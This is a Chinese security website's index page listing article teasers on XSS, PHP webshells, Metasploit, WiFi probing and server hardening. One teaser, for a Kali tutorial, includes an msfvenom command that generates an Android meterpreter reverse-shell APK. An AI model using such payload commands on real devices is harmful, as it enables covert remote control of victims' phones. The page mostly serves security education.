首页 ›网络安全

网络安全

  • 信息化的高速发展,极大的改变了人们工作和生活的方式,可以说我们的工作和生活,已无法脱离互联网。但是,信息化在给我们带来便利的同时,也引入了巨大的安全风险,当前的网络世界,黑客攻击猖獗,病毒木马泛滥,个人信息泄露事件层出不穷,在利益的驱使下,黑产的触角无孔不入,给我们带来了巨大威胁 ...
    安全学院 2019-7-4 13:08 907
  • 记一次服务器被植入挖矿木马cpu飙升200%解决过程
    线上服务器用的是某讯云的,欢快的完美运行着Tomcat,MySQL,MongoDB,ActiveMQ等程序。突然一则噩耗从前线传来:网站不能访问了!此项目是我负责,我以150+的手速立即打开了服务器,看到Tomcat挂了,然后顺其自然的重启, ...
    安全学院 2019-7-4 13:07 1178
  • 微软经典电子表格程序 Excel 在大多数人看来可能都有点沉闷无趣。毕竟又不是吃鸡游戏,再能玩转数据,这也只是个办公软件。但对黑客而言,Excel 可好玩了。与 Office 365 套装中的其他应用程序一样,Excel 也逃不脱被黑客利用来发起攻击的命运。最近的两个发现就完美演绎了该应用程序自己的合法功能是 ...
    安全学院 2019-7-3 13:10 1361
  • 这项信息安全技术,已是黑客们的心头好
    全文共4143字,预计学习时长15分钟图片来源:pexels.com我们正处于深度学习的变革浪潮中。在构建计算机视觉与应用自然语言处理(NLP)方面,深度神经网络学习模型取得了前所未有的成就。现在可谓是应用深度学习技术的大好时机,在目标检测、语言翻译和情感分析等任务中,人们不断引入最前沿的基准。但 ...
    安全学院 2019-7-3 12:52 908
  • PHP一句话木马之小马
    什么是一句话木马一句话木马就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能。为了绕过waf的检测,一句话木马出现了无数中变形,但本质是不变的:木马的函数执行了我们发送的命令。我们如何发送命令,发送的命令如何执行?我们可以通过GET 、POST 、COOKIE这三种方式向一个网站提交 ...
    网站防护 2019-7-2 16:11 2149
  • 1 引言近年来,随着网络信息技术的迅猛发展,西方军事强国提出了网络空间战略,把网络空间作为国际竞争的战略制高点和大国博弈的新战场。以美国为首的西方强国,正利用其在信息技术、信息基础设施和信息服务等方面的核心优势,积极实施“棱镜”、“主干道”、“码头”、“核子”等一系列监控项目和“爱 ...
    安全学院 2019-7-1 22:13 861
  • 大家印象中“黑客”可能并不是一个褒义词,因为在个时代,我们互联网上有许多令人防不胜防的陷阱,让一些非计算机专业的人感觉到拥有高超计算机技术的人有一定的“危险性”。如果他们没有法律和道德的约束在社会中是个极度危险的因子。事实上,“黑客”根据不同的性质还是有许多的分类,其中一些“黑客 ...
    安全学院 2019-7-1 12:41 2087
  • 跨站脚本攻击(XSS)
    概念:通常指黑客通过“HTML注入”篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,实现控制用户浏览器行为的一种攻击方式。全称:Cross Site Script(本来缩写是CSS,但是为了和层叠样式表CSS有所区别,所以在安全领域叫做“XSS”)危害:盗取用户信息、篡改页面钓鱼、制造蠕虫等。XSS分类:存 ...
    网站防护 2019-7-1 12:40 1483
  • Kali Linux实战篇:使用Msfvenom生成木马实现远程控制安卓手机
    声明:本头条号【Kali技术】所有分享,仅限学习交流!请勿他用!先看Kali的ip,我的是192.168.0.101然后输入命令:msfvenom -p android/meterpreter/reverse_tcp LHOST=你kali的ip LPORT=5555 R /root/apk.apk这里的5555是设置的端口,也可以自己更改,显示这个说明已经生成成功 只有9K多 ...
    渗透测试 2019-7-1 12:39 5749
  • 开发者必读篇之Web漏洞防护指南
    web的发展史早期的互联网非常的单调,一般只有静态页面,现在,随着技术的发展,web上大多数站点实际上是web应用程序,在服务器和浏览器之间进行双向的信息传递。他们支持注册登录,金融交易,搜索及用 ...
    网站防护 2019-6-29 13:42 1458
  • Kali Linux渗透测试篇:Metasploit渗透测试框架使用篇
    Metasploit在渗透测试中经常被用到,实际上这套软件包括了很多工具,这些工具组成了一个完整的攻击框架。他们或许在渗透测试中的每一方面都不能称为最好用的工具,但组合起来的框架却让它变得强大。1.启动服务:在kali中使用metasploit, ...
    渗透测试 2019-6-29 13:41 2909
  • WiFi探针获取无线网络信息技术简介与测试
    随着科学技术的快速发展,WiFi已经逐渐遍布到各个家庭和公共场所,但其中的问题也层出不穷。黑客可将个人热点伪装成免费WiFi吸引他人连接从而获取账号密码,今年曝光的WiFi探针技术,甚至无需用户主动连接WiFi即可捕 ...
    安全运维 2019-6-28 18:09 2454
  • 「网络安全」服务器安全加固系统
    网络中的各种服务器,如WEB服务器、FTP服务器、E-mail服务器,是黑客攻击的重点目标,其安全性至关重要。虽然通过路由器的包过滤和防火墙的访问控制,大大增加了安全性,但是黑客还是可以利用服务器的漏洞或配置错误进行攻击,以图获取系统控制权或实现拒绝服务攻击。什么是服务器安全加固?服务器系统 ...
    安全学院 2019-6-27 13:22 2450
  • 超简单数据库加密防止数据泄露
    数据泄露和暴露如今已非常普遍,很难跟踪所有的泄露事件,更难有时间仔细考虑周全的解决方案。但或许是出于必要性考虑,数据库巨头 MongoDB 花费两年时间开发出一套全新的数据库加密机制,直接指向减少这些破坏性事 ...
    安全运维 2019-6-26 17:37 2210
  • 这7本O’Reilly推出的免费网络安全电子书,够你看了
    《Cracking Security Misconceptions》随着有关组织和政府部门的安全漏洞示例越来越多,网络安全备受关注,在本书中,专业安全人员Andrew Peterson解释了几个关于黑客攻击世界的普遍误解,以便你更好的进入这个领域
    安全学院 2019-6-25 12:22 993
返回顶部